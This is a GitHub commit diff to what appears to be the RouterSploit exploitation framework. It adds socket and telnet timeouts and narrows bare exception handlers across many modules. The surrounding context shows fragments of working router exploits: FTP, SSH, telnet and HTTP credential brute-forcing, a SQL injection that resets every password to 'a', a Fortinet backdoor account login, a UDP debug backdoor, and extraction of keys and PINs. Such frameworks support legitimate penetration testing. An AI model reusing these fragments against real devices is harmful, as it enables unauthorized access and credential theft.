Commit 42263a70 by Marcin Bury Committed by GitHub

Adding timeouts (#334)

* Adding timeouts

* Adding exceptions

* Fixing E741
parent bbbf7911
...@@ -322,7 +322,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -322,7 +322,7 @@ class RoutersploitInterpreter(BaseInterpreter):
except KeyboardInterrupt: except KeyboardInterrupt:
utils.print_info() utils.print_info()
utils.print_error("Operation cancelled by user") utils.print_error("Operation cancelled by user")
except: except Exception:
utils.print_error(traceback.format_exc(sys.exc_info())) utils.print_error(traceback.format_exc(sys.exc_info()))
def command_exploit(self, *args, **kwargs): def command_exploit(self, *args, **kwargs):
......
...@@ -60,7 +60,7 @@ class Exploit(exploits.Exploit): ...@@ -60,7 +60,7 @@ class Exploit(exploits.Exploit):
print_error("Connection error: %s:%s" % (self.target, str(self.port))) print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close() ftp.close()
return return
except: except Exception:
pass pass
ftp.close() ftp.close()
...@@ -121,7 +121,7 @@ class Exploit(exploits.Exploit): ...@@ -121,7 +121,7 @@ class Exploit(exploits.Exploit):
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except Exception:
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
ftp.close() ftp.close()
......
...@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit): ...@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
print_error("Connection error: %s:%s" % (self.target, str(self.port))) print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ftp.close() ftp.close()
return return
except: except Exception:
pass pass
ftp.close() ftp.close()
...@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit): ...@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit):
try: try:
ftp.connect(self.target, port=int(self.port), timeout=10) ftp.connect(self.target, port=int(self.port), timeout=10)
break break
except: except Exception:
print_error("{} Connection problem. Retrying...".format(name), verbose=module_verbosity) print_error("{} Connection problem. Retrying...".format(name), verbose=module_verbosity)
retries += 1 retries += 1
...@@ -113,7 +113,7 @@ class Exploit(exploits.Exploit): ...@@ -113,7 +113,7 @@ class Exploit(exploits.Exploit):
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except Exception:
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
ftp.close() ftp.close()
......
...@@ -125,15 +125,15 @@ class Exploit(exploits.Exploit): ...@@ -125,15 +125,15 @@ class Exploit(exploits.Exploit):
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata, verify=False) r = requests.post(url, headers=headers, data=postdata, verify=False)
l = len(r.text) length = len(r.text)
if i == 0: if i == 0:
self.invalid = {"min": l, "max": l} self.invalid = {"min": length, "max": length}
if l < self.invalid["min"]: if length < self.invalid["min"]:
self.invalid["min"] = l self.invalid["min"] = length
elif l > self.invalid["max"]: elif length > self.invalid["max"]:
self.invalid["max"] = l self.invalid["max"] = length
def detect_form(self): def detect_form(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path()))
...@@ -202,9 +202,9 @@ class Exploit(exploits.Exploit): ...@@ -202,9 +202,9 @@ class Exploit(exploits.Exploit):
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata, verify=False) r = requests.post(url, headers=headers, data=postdata, verify=False)
l = len(r.text) length = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if length < self.invalid["min"] or length > self.invalid["max"]:
if boolify(self.stop_on_success): if boolify(self.stop_on_success):
running.clear() running.clear()
......
...@@ -119,15 +119,15 @@ class Exploit(exploits.Exploit): ...@@ -119,15 +119,15 @@ class Exploit(exploits.Exploit):
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata, verify=False) r = requests.post(url, headers=headers, data=postdata, verify=False)
l = len(r.text) length = len(r.text)
if i == 0: if i == 0:
self.invalid = {"min": l, "max": l} self.invalid = {"min": length, "max": length}
if l < self.invalid["min"]: if length < self.invalid["min"]:
self.invalid["min"] = l self.invalid["min"] = length
elif l > self.invalid["max"]: elif length > self.invalid["max"]:
self.invalid["max"] = l self.invalid["max"] = length
def detect_form(self): def detect_form(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path()))
...@@ -196,9 +196,9 @@ class Exploit(exploits.Exploit): ...@@ -196,9 +196,9 @@ class Exploit(exploits.Exploit):
postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password)
r = requests.post(url, headers=headers, data=postdata, verify=False) r = requests.post(url, headers=headers, data=postdata, verify=False)
l = len(r.text) length = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if length < self.invalid["min"] or length > self.invalid["max"]:
if boolify(self.stop_on_success): if boolify(self.stop_on_success):
running.clear() running.clear()
......
...@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit): ...@@ -61,7 +61,7 @@ class Exploit(exploits.Exploit):
print_error("Connection error: %s:%s" % (self.target, str(self.port))) print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ssh.close() ssh.close()
return return
except: except Exception:
pass pass
ssh.close() ssh.close()
......
...@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit): ...@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
print_error("Connection error: %s:%s" % (self.target, str(self.port))) print_error("Connection error: %s:%s" % (self.target, str(self.port)))
ssh.close() ssh.close()
return return
except: except Exception:
pass pass
ssh.close() ssh.close()
......
...@@ -53,10 +53,10 @@ class Exploit(exploits.Exploit): ...@@ -53,10 +53,10 @@ class Exploit(exploits.Exploit):
@multi @multi
def attack(self): def attack(self):
try: try:
tn = telnetlib.Telnet(self.target, self.port) tn = telnetlib.Telnet(self.target, self.port, timeout=10)
tn.expect(["login: ", "Login: "], 5) tn.expect(["login: ", "Login: "], 5)
tn.close() tn.close()
except: except Exception:
print_error("Connection error {}:{}".format(self.target, self.port)) print_error("Connection error {}:{}".format(self.target, self.port))
return return
...@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit): ...@@ -97,7 +97,7 @@ class Exploit(exploits.Exploit):
retries = 0 retries = 0
while retries < 3: while retries < 3:
try: try:
tn = telnetlib.Telnet(self.target, self.port) tn = telnetlib.Telnet(self.target, self.port, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(user + "\r\n") tn.write(user + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
......
...@@ -51,10 +51,10 @@ class Exploit(exploits.Exploit): ...@@ -51,10 +51,10 @@ class Exploit(exploits.Exploit):
@multi @multi
def attack(self): def attack(self):
try: try:
tn = telnetlib.Telnet(self.target, self.port) tn = telnetlib.Telnet(self.target, self.port, timeout=10)
tn.expect(["login: ", "Login: "], 5) tn.expect(["login: ", "Login: "], 5)
tn.close() tn.close()
except: except Exception:
print_error("Connection error {}:{}".format(self.target, self.port)) print_error("Connection error {}:{}".format(self.target, self.port))
return return
...@@ -89,7 +89,7 @@ class Exploit(exploits.Exploit): ...@@ -89,7 +89,7 @@ class Exploit(exploits.Exploit):
retries = 0 retries = 0
while retries < 3: while retries < 3:
try: try:
tn = telnetlib.Telnet(self.target, self.port) tn = telnetlib.Telnet(self.target, self.port, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(user + "\r\n") tn.write(user + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
......
...@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -35,7 +35,7 @@ class Exploit(exploits.Exploit):
print_success("Target appears to be vulnerable...") print_success("Target appears to be vulnerable...")
try: try:
conn = telnetlib.Telnet(self.target, self.telnet_port) conn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
conn.read_until("Username: ") conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a' conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a'
conn.read_until("Password: ") conn.read_until("Password: ")
...@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit): ...@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
print_error("Exploit failed. Could not log in.") print_error("Exploit failed. Could not log in.")
try: try:
conn = telnetlib.Telnet(self.target, 20000) conn = telnetlib.Telnet(self.target, 20000, timeout=10)
conn.read_until("login: ") conn.read_until("login: ")
conn.write("root\r\n") conn.write("root\r\n")
conn.read_until("Password: ") conn.read_until("Password: ")
...@@ -71,7 +71,7 @@ class Exploit(exploits.Exploit): ...@@ -71,7 +71,7 @@ class Exploit(exploits.Exploit):
@mute @mute
def check(self): def check(self):
try: try:
conn = telnetlib.Telnet(self.target, self.telnet_port) conn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
return 'Grandstream' in conn.read_until("login:") return 'Grandstream' in conn.read_until("login:")
except Exception: except Exception:
return False return False
...@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit): ...@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
for chunk in response.iter_content(chunk_size=100): for chunk in response.iter_content(chunk_size=100):
if "admin" in chunk: if "admin" in chunk:
print_success(chunk) print_success(chunk)
except: except Exception:
print_error("Exploit failed - could not read /proc/kcore") print_error("Exploit failed - could not read /proc/kcore")
@mute @mute
......
...@@ -134,10 +134,10 @@ class Exploit(exploits.Exploit): ...@@ -134,10 +134,10 @@ class Exploit(exploits.Exploit):
print_status("Trying to connect to the telnet server...") print_status("Trying to connect to the telnet server...")
try: try:
tn = telnetlib.Telnet(target, self.telnet_port) tn = telnetlib.Telnet(target, self.telnet_port, timeout=10)
tn.interact() tn.interact()
tn.close() tn.close()
except: except Exception:
print_error("Exploit failed - Telnet connection error: {}:{}".format(target, self.telnet_port)) print_error("Exploit failed - Telnet connection error: {}:{}".format(target, self.telnet_port))
@mute @mute
......
...@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit): ...@@ -57,7 +57,7 @@ class Exploit(exploits.Exploit):
try: try:
print_status("Trying to base64 decode") print_status("Trying to base64 decode")
password = base64.b64decode(res[0]) password = base64.b64decode(res[0])
except: except Exception:
print_error("Exploit failed - could not decode password") print_error("Exploit failed - could not decode password")
return return
......
...@@ -184,11 +184,13 @@ class Exploit(exploits.Exploit): ...@@ -184,11 +184,13 @@ class Exploit(exploits.Exploit):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10.0)
s.connect((self.target, int(self.telnet_port))) s.connect((self.target, int(self.telnet_port)))
print_status("Connection OK") print_status("Connection OK")
print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024)))) print_status("Received bytes from telnet service: {}".format(repr(s.recv(1024))))
except: except Exception:
print_error("Connection failed") print_error("Connection failed")
return return
...@@ -209,9 +211,9 @@ class Exploit(exploits.Exploit): ...@@ -209,9 +211,9 @@ class Exploit(exploits.Exploit):
if self.action == 'set': if self.action == 'set':
print_status("Connecting to Telnet service...") print_status("Connecting to Telnet service...")
try: try:
t = telnetlib.Telnet(self.target, int(self.telnet_port)) t = telnetlib.Telnet(self.target, int(self.telnet_port), timeout=10)
t.interact() t.interact()
except: except Exception:
print_error("Exploit failed") print_error("Exploit failed")
else: else:
print_status("Check if Telnet authentication was set back") print_status("Check if Telnet authentication was set back")
......
...@@ -85,7 +85,7 @@ class Exploit(exploits.Exploit): ...@@ -85,7 +85,7 @@ class Exploit(exploits.Exploit):
ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8)) ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException: except paramiko.AuthenticationException:
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
pass pass
return False # target is not vulnerable return False # target is not vulnerable
...@@ -127,7 +127,7 @@ class Exploit(exploits.Exploit): ...@@ -127,7 +127,7 @@ class Exploit(exploits.Exploit):
try: try:
http_request(method="POST", url=url, files=multipart_form_data, session=self.session) http_request(method="POST", url=url, files=multipart_form_data, session=self.session)
except: except Exception:
pass pass
return return
...@@ -157,7 +157,7 @@ class Exploit(exploits.Exploit): ...@@ -157,7 +157,7 @@ class Exploit(exploits.Exploit):
target = self.target.replace("http://", "").replace("https://", "") target = self.target.replace("http://", "").replace("https://", "")
try: try:
ssh.connect(target, self.ssh_port, timeout=5, username=username, password=password) ssh.connect(target, self.ssh_port, timeout=5, username=username, password=password)
except: except Exception:
ssh.close() ssh.close()
else: else:
print_success("SSH - Successful authentication") print_success("SSH - Successful authentication")
......
...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit): ...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
try: try:
response = sock.recv(2048) response = sock.recv(2048)
except: except Exception:
print_error("Exploit failed - device seems to be not vulnerable") print_error("Exploit failed - device seems to be not vulnerable")
return return
...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit): ...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
try: try:
response = sock.recv(2048) response = sock.recv(2048)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if len(response) and "UseUserCredential" in response: if len(response) and "UseUserCredential" in response:
......
...@@ -84,7 +84,7 @@ class Exploit(exploits.Exploit): ...@@ -84,7 +84,7 @@ class Exploit(exploits.Exploit):
if len(res): if len(res):
try: try:
b64decode(res[0]) # checking if data is base64 encoded b64decode(res[0]) # checking if data is base64 encoded
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
else: else:
return False # target is not vulnerable return False # target is not vulnerable
......
...@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit): ...@@ -78,7 +78,7 @@ class Exploit(exploits.Exploit):
sock.send(buf) sock.send(buf)
response = sock.recv(65535) response = sock.recv(65535)
sock.close() sock.close()
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if "Linux, UPnP/1.0, DIR-" in response: if "Linux, UPnP/1.0, DIR-" in response:
......
...@@ -45,6 +45,8 @@ class Exploit(exploits.Exploit): ...@@ -45,6 +45,8 @@ class Exploit(exploits.Exploit):
'MAN:"ssdp:discover"\r\n\r\n') 'MAN:"ssdp:discover"\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(20.0)
s.connect((self.target, 1900)) s.connect((self.target, 1900))
s.send(buf) s.send(buf)
s.close() s.close()
......
...@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
try: try:
sock.sendto("HELODBG", (self.target, 39889)) sock.sendto("HELODBG", (self.target, 39889))
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
pass pass
sock.close() sock.close()
...@@ -54,9 +54,9 @@ class Exploit(exploits.Exploit): ...@@ -54,9 +54,9 @@ class Exploit(exploits.Exploit):
print_status("Trying to connect to the telnet service {}:{}".format(self.target, self.telnet_port)) print_status("Trying to connect to the telnet service {}:{}".format(self.target, self.telnet_port))
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.interact() tn.interact()
except: except Exception:
print_error("Exploit failed - could not connect to the telnet service") print_error("Exploit failed - could not connect to the telnet service")
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
...@@ -73,7 +73,7 @@ class Exploit(exploits.Exploit): ...@@ -73,7 +73,7 @@ class Exploit(exploits.Exploit):
if "Hello" in response: if "Hello" in response:
sock.sendto("BYEDBG", (self.target, 39889)) sock.sendto("BYEDBG", (self.target, 39889))
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
pass pass
return False # target is not vulnerable return False # target is not vulnerable
...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit): ...@@ -46,7 +46,7 @@ class Exploit(exploits.Exploit):
client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except: except Exception:
print_error("Exploit Failed - SSH Service is down") print_error("Exploit Failed - SSH Service is down")
return return
...@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit): ...@@ -55,7 +55,7 @@ class Exploit(exploits.Exploit):
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except: except Exception:
print_status("Error with Existing Session. Wait few minutes.") print_status("Error with Existing Session. Wait few minutes.")
return return
...@@ -64,7 +64,7 @@ class Exploit(exploits.Exploit): ...@@ -64,7 +64,7 @@ class Exploit(exploits.Exploit):
print_success("Exploit succeeded") print_success("Exploit succeeded")
ssh_interactive(client) ssh_interactive(client)
except: except Exception:
print_error("Exploit failed") print_error("Exploit failed")
return return
...@@ -77,7 +77,7 @@ class Exploit(exploits.Exploit): ...@@ -77,7 +77,7 @@ class Exploit(exploits.Exploit):
client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
trans = client.get_transport() trans = client.get_transport()
...@@ -85,12 +85,12 @@ class Exploit(exploits.Exploit): ...@@ -85,12 +85,12 @@ class Exploit(exploits.Exploit):
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except: except Exception:
return None # could not verify return None # could not verify
try: try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
return True # target is vulnerable return True # target is vulnerable
......
...@@ -79,7 +79,7 @@ class Exploit(exploits.Exploit): ...@@ -79,7 +79,7 @@ class Exploit(exploits.Exploit):
try: try:
print_status("Waiting for response") print_status("Waiting for response")
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
print_error("Exploit failed - device seems to be not vulnerable") print_error("Exploit failed - device seems to be not vulnerable")
return return
...@@ -95,7 +95,7 @@ class Exploit(exploits.Exploit): ...@@ -95,7 +95,7 @@ class Exploit(exploits.Exploit):
try: try:
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
if len(response): if len(response):
......
...@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit): ...@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
try: try:
ssh.connect(self.target, self.ssh_port, timeout=5, username=self.username, password=self.password) ssh.connect(self.target, self.ssh_port, timeout=5, username=self.username, password=self.password)
except: except Exception:
ssh.close() ssh.close()
else: else:
print_success("SSH - Successful authentication") print_success("SSH - Successful authentication")
...@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit): ...@@ -53,7 +53,7 @@ class Exploit(exploits.Exploit):
return return
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.write("\r\n") tn.write("\r\n")
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
...@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit): ...@@ -72,7 +72,7 @@ class Exploit(exploits.Exploit):
tn.interact() tn.interact()
tn.close() tn.close()
except: except Exception:
print_error("Connection Error") print_error("Connection Error")
return return
...@@ -83,13 +83,13 @@ class Exploit(exploits.Exploit): ...@@ -83,13 +83,13 @@ class Exploit(exploits.Exploit):
try: try:
ssh.connect(self.target, self.ssh_port, timeout=5, username=self.username, password=self.password) ssh.connect(self.target, self.ssh_port, timeout=5, username=self.username, password=self.password)
except: except Exception:
ssh.close() ssh.close()
else: else:
return True return True
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.write("\r\n") tn.write("\r\n")
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
...@@ -107,7 +107,7 @@ class Exploit(exploits.Exploit): ...@@ -107,7 +107,7 @@ class Exploit(exploits.Exploit):
tn.close() tn.close()
return True return True
tn.close() tn.close()
except: except Exception:
return False return False
return False return False
...@@ -132,9 +132,11 @@ class Exploit(exploits.Exploit): ...@@ -132,9 +132,11 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10.0)
s.connect((self.target, int(self.port))) s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello)) s.send(self.h2bin(self.hello))
except: except Exception:
print_error("Connection failed: {}:{}".format(self.target, self.port)) print_error("Connection failed: {}:{}".format(self.target, self.port))
return return
...@@ -157,6 +159,8 @@ class Exploit(exploits.Exploit): ...@@ -157,6 +159,8 @@ class Exploit(exploits.Exploit):
def check(self): def check(self):
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10.0)
s.connect((self.target, int(self.port))) s.connect((self.target, int(self.port)))
s.send(self.h2bin(self.hello)) s.send(self.h2bin(self.hello))
except socket.error: except socket.error:
......
...@@ -252,7 +252,7 @@ class Exploit(exploits.Exploit): ...@@ -252,7 +252,7 @@ class Exploit(exploits.Exploit):
try: try:
ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey) ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey)
except: except Exception:
ssh.close() ssh.close()
print_error("Device seems to be not vulnerable") print_error("Device seems to be not vulnerable")
else: else:
...@@ -276,7 +276,7 @@ class Exploit(exploits.Exploit): ...@@ -276,7 +276,7 @@ class Exploit(exploits.Exploit):
try: try:
ssh.connect(self.target, self.ssh_port, timeout=5, username=key['user'], pkey=pkey) ssh.connect(self.target, self.ssh_port, timeout=5, username=key['user'], pkey=pkey)
except: except Exception:
ssh.close() ssh.close()
else: else:
self.valid = key self.valid = key
......
...@@ -51,7 +51,7 @@ class Exploit(exploits.Exploit): ...@@ -51,7 +51,7 @@ class Exploit(exploits.Exploit):
sock.sendto(payload, (self.target, 53413)) sock.sendto(payload, (self.target, 53413))
response = sock.recv(1024) response = sock.recv(1024)
return response[8:] return response[8:]
except: except Exception:
pass pass
return "" return ""
...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit): ...@@ -67,7 +67,7 @@ class Exploit(exploits.Exploit):
try: try:
sock.sendto(payload, (self.target, 53413)) sock.sendto(payload, (self.target, 53413))
response = sock.recv(1024) response = sock.recv(1024)
except: except Exception:
pass pass
if response.endswith("\xD0\xA5Login:"): if response.endswith("\xD0\xA5Login:"):
......
...@@ -71,9 +71,9 @@ class Exploit(exploits.Exploit): ...@@ -71,9 +71,9 @@ class Exploit(exploits.Exploit):
@staticmethod @staticmethod
def decrypt_backup(backup): def decrypt_backup(backup):
key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F') key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
l = (len(backup) / 16) * 16 length = (len(backup) / 16) * 16
cipher = AES.new(key, AES.MODE_ECB, '\x00' * 16) cipher = AES.new(key, AES.MODE_ECB, '\x00' * 16)
plain = cipher.decrypt(backup[0:l]) plain = cipher.decrypt(backup[0:length])
return plain return plain
@mute @mute
......
...@@ -104,7 +104,7 @@ class Exploit(exploits.Exploit): ...@@ -104,7 +104,7 @@ class Exploit(exploits.Exploit):
tn.write(self.remote_pass + '\r\n') tn.write(self.remote_pass + '\r\n')
response = tn.read_until("Login not allowed", 10) response = tn.read_until("Login not allowed", 10)
tn.close() tn.close()
except: except Exception:
return "" return ""
return response return response
...@@ -115,7 +115,7 @@ class Exploit(exploits.Exploit): ...@@ -115,7 +115,7 @@ class Exploit(exploits.Exploit):
s.settimeout(3) s.settimeout(3)
s.connect((self.target, port)) s.connect((self.target, port))
return True return True
except: except Exception:
return False return False
finally: finally:
s.close() s.close()
......
...@@ -65,9 +65,9 @@ class Exploit(exploits.Exploit): ...@@ -65,9 +65,9 @@ class Exploit(exploits.Exploit):
return passwd return passwd
def parse(self, data): def parse(self, data):
l = data.split('\r\n') length = data.split('\r\n')
del l[0] del length[0]
for item in l: for item in length:
try: try:
if 'authKey' in item: if 'authKey' in item:
authKey = item.split()[1] authKey = item.split()[1]
...@@ -75,7 +75,7 @@ class Exploit(exploits.Exploit): ...@@ -75,7 +75,7 @@ class Exploit(exploits.Exploit):
cPskSecret = item.split()[1] cPskSecret = item.split()[1]
if 'cUsrPIN' in item: if 'cUsrPIN' in item:
cUsrPIN = item.split()[1] cUsrPIN = item.split()[1]
except: except Exception:
pass pass
return authKey, cPskSecret, cUsrPIN return authKey, cPskSecret, cUsrPIN
......
...@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit): ...@@ -40,7 +40,7 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
try: try:
print_status("Trying to authenticate to the telnet server") print_status("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
...@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit): ...@@ -60,13 +60,13 @@ class Exploit(exploits.Exploit):
print_error("Exploit failed") print_error("Exploit failed")
tn.close() tn.close()
except: except Exception:
print_error("Connection error: {}:{}".format(self.target, self.telnet_port)) print_error("Connection error: {}:{}".format(self.target, self.telnet_port))
@mute @mute
def check(self): def check(self):
try: try:
tn = telnetlib.Telnet(self.target, self.telnet_port) tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
...@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit): ...@@ -81,7 +81,7 @@ class Exploit(exploits.Exploit):
else: else:
if "<DM name=" in res: if "<DM name=" in res:
return True # target is vulnerable return True # target is vulnerable
except: except Exception:
return False # target is not vulnerable return False # target is not vulnerable
return False # target is not vulnerable return False # target is not vulnerable
...@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit): ...@@ -37,7 +37,7 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
try: try:
print_status("Trying to authenticate to the telnet server") print_status("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
...@@ -57,13 +57,13 @@ class Exploit(exploits.Exploit): ...@@ -57,13 +57,13 @@ class Exploit(exploits.Exploit):
print_error("Exploit failed") print_error("Exploit failed")
tn.close() tn.close()
except: except Exception:
print_error("Connection error: {}:{}".format(self.target, 23)) print_error("Connection error: {}:{}".format(self.target, 23))
@mute @mute
def check(self): def check(self):
try: try:
tn = telnetlib.Telnet(self.target, 23) tn = telnetlib.Telnet(self.target, 23, timeout=10)
tn.expect(["Login: ", "login: "], 5) tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n") tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5) tn.expect(["Password: ", "password"], 5)
